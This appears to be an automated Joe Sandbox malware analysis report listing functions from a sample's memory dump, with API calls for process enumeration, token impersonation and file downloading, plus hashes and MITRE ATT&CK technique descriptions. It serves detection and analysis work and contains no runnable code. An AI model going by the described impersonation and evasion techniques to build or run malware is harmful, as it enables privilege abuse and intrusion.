API String ID: 3796814847-0
Opcode ID: 8a450860209e15821de9f16c01ed0612a725223f9a4b72f88eafb3edea00904a
Instruction ID: 24203679769fa8d4c9444f023337cc477b2c9e2a72316b98ca3640626ad33a22
Opcode Fuzzy Hash: 8a450860209e15821de9f16c01ed0612a725223f9a4b72f88eafb3edea00904a
Instruction Fuzzy Hash: FF11AB31F1855243E7688B25A06467E6271EB54798F544731F67E877C8FF29F9818700

Function 00007FF6F1DC5180 Relevance: 18.5, APIs: 12, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6F1DC4A30: CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF6F1DC4A86
Part of subcall function 00007FF6F1DC4A30: Process32FirstW.KERNEL32 ref: 00007FF6F1DC4ACA
Part of subcall function 00007FF6F1DC4A30: Process32NextW.KERNEL32 ref: 00007FF6F1DC4ADF
Part of subcall function 00007FF6F1DC4A30: OpenProcess.KERNEL32 ref: 00007FF6F1DC4B1B
Part of subcall function 00007FF6F1DC4A30: OpenProcessToken.ADVAPI32 ref: 00007FF6F1DC4B42
Part of subcall function 00007FF6F1DC4A30: CloseHandle.KERNEL32 ref: 00007FF6F1DC4CB6
Part of subcall function 00007FF6F1DC4A30: Process32NextW.KERNEL32 ref: 00007FF6F1DC4CC3
Part of subcall function 00007FF6F1DC4A30: CloseHandle.KERNEL32 ref: 00007FF6F1DC4D07

ImpersonateLoggedOnUser.ADVAPI32 ref: 00007FF6F1DC56C8
RevertToSelf.ADVAPI32 ref: 00007FF6F1DC56E6
ImpersonateLoggedOnUser.ADVAPI32 ref: 00007FF6F1DC51DD

Part of subcall function 00007FF6F1D7F380: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D7F3E3

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DC58D5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DC58DB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DC58E1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DC58E7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DC58ED
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DC58F3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DC58F9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DC5905

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Process32$CloseHandleImpersonateLoggedNextOpenProcessUser$CreateFirstRevertSelfSnapshotTokenToolhelp32
String ID:
API String ID: 2435156947-0
Opcode ID: 1ce11e46964dbc8623c1a002445926d9961ff166b97eb729fb1ae1d7354b803f
Instruction ID: 6d9112e5b050aed0ae87d3ddd276b7d620dad81d8c7612d0b7737e068c50eaa2
Opcode Fuzzy Hash: 1ce11e46964dbc8623c1a002445926d9961ff166b97eb729fb1ae1d7354b803f
Instruction Fuzzy Hash: BF22D362F1878685FB009B69D4443AD6771EB817E4F505B31EA7D86ADAEF7CE480CB00

Function 00007FF6F1DE0254 Relevance: 16.2, APIs: 6, Strings: 3, Instructions: 407COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6F1DE0283
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6F1DE0353

Strings

0, xrefs: 00007FF6F1DE038F
0, xrefs: 00007FF6F1DE0325
0, xrefs: 00007FF6F1DE037D

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0$0$0
API String ID: 3215553584-3137946472
Opcode ID: 4b936a4394e80428ad7bf41d875096a3e7add69c0315c25dc0869b4c3066c4ac
Instruction ID: 9cca717001fd025358f5e54789b168f7cb8671812a12011459f1a28786b67d99
Opcode Fuzzy Hash: 4b936a4394e80428ad7bf41d875096a3e7add69c0315c25dc0869b4c3066c4ac
Instruction Fuzzy Hash: 06E1D632B0D68686F7518B2481903BDB7B59B51BC6F948236C6ACC73D1EF3EA659C700

Function 00007FF6F1DCB2D0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 81networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET ref: 00007FF6F1DCB33B
InternetOpenUrlA.WININET ref: 00007FF6F1DCB370
InternetReadFile.WININET ref: 00007FF6F1DCB391
InternetReadFile.WININET ref: 00007FF6F1DCB3CF
InternetCloseHandle.WININET ref: 00007FF6F1DCB3DC
InternetCloseHandle.WININET ref: 00007FF6F1DCB3E5

Strings

File Downloader, xrefs: 00007FF6F1DCB334

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: Internet$CloseFileHandleOpenRead
String ID: File Downloader
API String ID: 4038090926-3631955488
Opcode ID: 2d8777ee4260c80b314c9bed156458a8780df2b315401914807f3b6119ccca09
Instruction ID: 06aaaa548da030e1105f8cd366c51c0919bec9896457d24fdd7a9ecd97164c6a
Opcode Fuzzy Hash: 2d8777ee4260c80b314c9bed156458a8780df2b315401914807f3b6119ccca09
Instruction Fuzzy Hash: D531A432A1978682E7208F11E9507AAB361FF89BC4F544135EE5D83B94EF7CE545CB00

Function 00007FF6F1E0D42C Relevance: 9.2, APIs: 6, Instructions: 239COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 00007FF6F1E0D4D9
MultiByteToWideChar.KERNEL32 ref: 00007FF6F1E0D575
MultiByteToWideChar.KERNEL32 ref: 00007FF6F1E0D61E
MultiByteToWideChar.KERNEL32 ref: 00007FF6F1E0D648
MultiByteToWideChar.KERNEL32 ref: 00007FF6F1E0D6F0
CompareStringEx.KERNEL32 ref: 00007FF6F1E0D73D

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: ByteCharMultiWide$CompareInfoString
String ID:
API String ID: 2984826149-0
Opcode ID: 26eb7e015d5d110b74ff0d84bcaa31491d724dbf353ec7a17117fafe3eaea0ab
Instruction ID: e1884fb0857c2b76ed1cee030f0fc05fc5cd40135e4810c9448f32a7f0e3122c
Opcode Fuzzy Hash: 26eb7e015d5d110b74ff0d84bcaa31491d724dbf353ec7a17117fafe3eaea0ab
Instruction Fuzzy Hash: 75A1AD62A097C286EB218B2494103BD67A1BF40BE8F585635DA7E877C9FF3DE9448700

Function 00007FF6F1D86490 Relevance: 7.8, APIs: 5, Instructions: 312COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D86922
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D86928
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8692E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D86934
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8693A

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: e4343b659cd0b9c09afbc64654c36fa5ae60780d5758c29d2040cc4bdf707b3c
Instruction ID: 04f089a22e69a72bee3ca3ffc2919073480c5fdb8315f905af59a415e45a818a
Opcode Fuzzy Hash: e4343b659cd0b9c09afbc64654c36fa5ae60780d5758c29d2040cc4bdf707b3c
Instruction Fuzzy Hash: 44D1B062F18A8286EB109B65D4402AD6771EB857F8F101332EE7D97AD9EF3CE580C340

Function 00007FF6F1DF11C8 Relevance: 7.7, APIs: 5, Instructions: 196COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6F1DF1207
_set_statfp.LIBCMT ref: 00007FF6F1DF1225
_set_statfp.LIBCMT ref: 00007FF6F1DF124E
_set_statfp.LIBCMT ref: 00007FF6F1DF148A

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: dafef7e4c20223e5ca6141b6b5924ce650fb2efe4a4f2b5535d10e0333dca376
Instruction ID: 3b0274ea610de5a201f720b239083f6739e401a1c4f7aea49d380af21ee95c06
Opcode Fuzzy Hash: dafef7e4c20223e5ca6141b6b5924ce650fb2efe4a4f2b5535d10e0333dca376
Instruction Fuzzy Hash: 21810552D18A8685F7228B75A45137AA3B8FF953D4F044331EDBEE65D4FF3CA6818600

Function 00007FF6F1DDA260 Relevance: 7.6, APIs: 5, Instructions: 123COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00007FF6F1DDA280
FreeEnvironmentStringsW.KERNEL32 ref: 00007FF6F1DDA37B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DDA3A5
RtlInitUnicodeString.NTDLL ref: 00007FF6F1DDA3EE
RtlInitUnicodeString.NTDLL ref: 00007FF6F1DDA3FB

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: EnvironmentInitStringStringsUnicode$Free_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1868271193-0
Opcode ID: 8b2d933cefea34d056b23e68afa2b8ca65fd27bc275f09a0afe4e350c556ea32
Instruction ID: 22b6aed4d3ce4aa8d2b2cb5f4e83a9396ea4f9d27dfa481e346f9d4c2b4db6df
Opcode Fuzzy Hash: 8b2d933cefea34d056b23e68afa2b8ca65fd27bc275f09a0afe4e350c556ea32
Instruction Fuzzy Hash: FA519B22E08B8182EB148F19E54036D7772FB94BD4F549221EBAD43B95EFBCE1E08700

Function 00007FF6F1D9F2C0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 292COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D9F4C6
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6F1D9F4D2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D9F6D1

Strings

Nk, xrefs: 00007FF6F1D9F5AD

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task
String ID: Nk
API String ID: 3936042273-1353404103
Opcode ID: be3418052fe44ea1974ca5fcebb8a9c1463131ba3d2a8af801c3bff0b95fda79
Instruction ID: 049612d3aace9191b9f5f0d151f8f601fe9705b3cd5121472ddb70bfede1f617
Opcode Fuzzy Hash: be3418052fe44ea1974ca5fcebb8a9c1463131ba3d2a8af801c3bff0b95fda79
Instruction Fuzzy Hash: 8DC17832A14B818AE710CF75E8502AD73B1FB99798F045625EF9D53B99EF38E1A0C340

Function 00007FF6F1DD0526 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD0647
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD064D

Part of subcall function 00007FF6F1E00E88: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,-2723E8D8DEBC5094,00007FF6F1E0C3D2), ref: 00007FF6F1E00ED8
Part of subcall function 00007FF6F1E00E88: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,-2723E8D8DEBC5094,00007FF6F1E0C3D2), ref: 00007FF6F1E00F19

Strings

exists, xrefs: 00007FF6F1DD0663
ios_base::badbit set, xrefs: 00007FF6F1DD0685, 00007FF6F1DD06BC, 00007FF6F1DD06FA

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ExceptionFileHeaderRaise
String ID: exists$ios_base::badbit set
API String ID: 240014264-2074760687
Opcode ID: a4f327a84339e12cc55e92ce62d72d2997565a8db53c75ec50c66e7b8b607d78
Instruction ID: 7d6fbb080a7a91096b5aa3b2acdd178c6f2c2a7927c20c817a70878670bf1da9
Opcode Fuzzy Hash: a4f327a84339e12cc55e92ce62d72d2997565a8db53c75ec50c66e7b8b607d78
Instruction Fuzzy Hash: 82413072A19BC695DB20DB14E4943EE7361FB85384F804232D6AD93AE9EF3CD505CB40

Function 00007FF6F1E0B210 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,00007FF6F1E0B8FA), ref: 00007FF6F1E0B226
GetProcAddress.KERNEL32(?,?,?,00007FF6F1E0B8FA), ref: 00007FF6F1E0B236

Strings

kernel32.dll, xrefs: 00007FF6F1E0B21F
GetTempPath2W, xrefs: 00007FF6F1E0B22C

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetTempPath2W$kernel32.dll
API String ID: 1646373207-1846531799
Opcode ID: 85c4015c5df5ee79752990f65a767554006cfd6127e60443cb10f02faa6b2ab0
Instruction ID: 6b0b7a568eb285d39cce75f645725f794aa39d0ad07809c81e1a3cc0d2c5bb07
Opcode Fuzzy Hash: 85c4015c5df5ee79752990f65a767554006cfd6127e60443cb10f02faa6b2ab0
Instruction Fuzzy Hash: 08E0ED21F08A8781EF049F11FA984B96361BF49BD0B985035D92F873A4FF3CD4998B00

Function 00007FF6F1DAB198 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DAB382

Strings

iterator out of range, xrefs: 00007FF6F1DAB3F8
iterator does not fit current value, xrefs: 00007FF6F1DAB3C4

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: iterator does not fit current value$iterator out of range
API String ID: 3668304517-1046077056
Opcode ID: b0819f3c7b3530c9745c47e6feffb757659fe9534c430cce830ae92edabcbbeb
Instruction ID: 923f0c0f8f5cc53a26f0d4598ec6c70507ee5d216a182cde641933745f0a056b
Opcode Fuzzy Hash: b0819f3c7b3530c9745c47e6feffb757659fe9534c430cce830ae92edabcbbeb
Instruction Fuzzy Hash: DE41A2A3F09A8196EB11DB60D4A43EC2731AB517C8F945176CB2D83ADBEF38D55AC340

Function 00007FF6F1DAB1F5 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DAB382

Strings

iterator out of range, xrefs: 00007FF6F1DAB3F8
iterator does not fit current value, xrefs: 00007FF6F1DAB3C4

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: iterator does not fit current value$iterator out of range
API String ID: 3668304517-1046077056
Opcode ID: 73766c951f2fe278ced241f82245c4320f39279882436e5d0bcf5ff273759009
Instruction ID: 33e1818543a23ab6c00c81aeb1bef39eb91c1ba282e680de4025c45d85dc58a4
Opcode Fuzzy Hash: 73766c951f2fe278ced241f82245c4320f39279882436e5d0bcf5ff273759009
Instruction Fuzzy Hash: 5241C6A3B0968196EB11DB60D8A42EC2330AB517C8FD05536CB2D93ADAEF38D55AC340

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

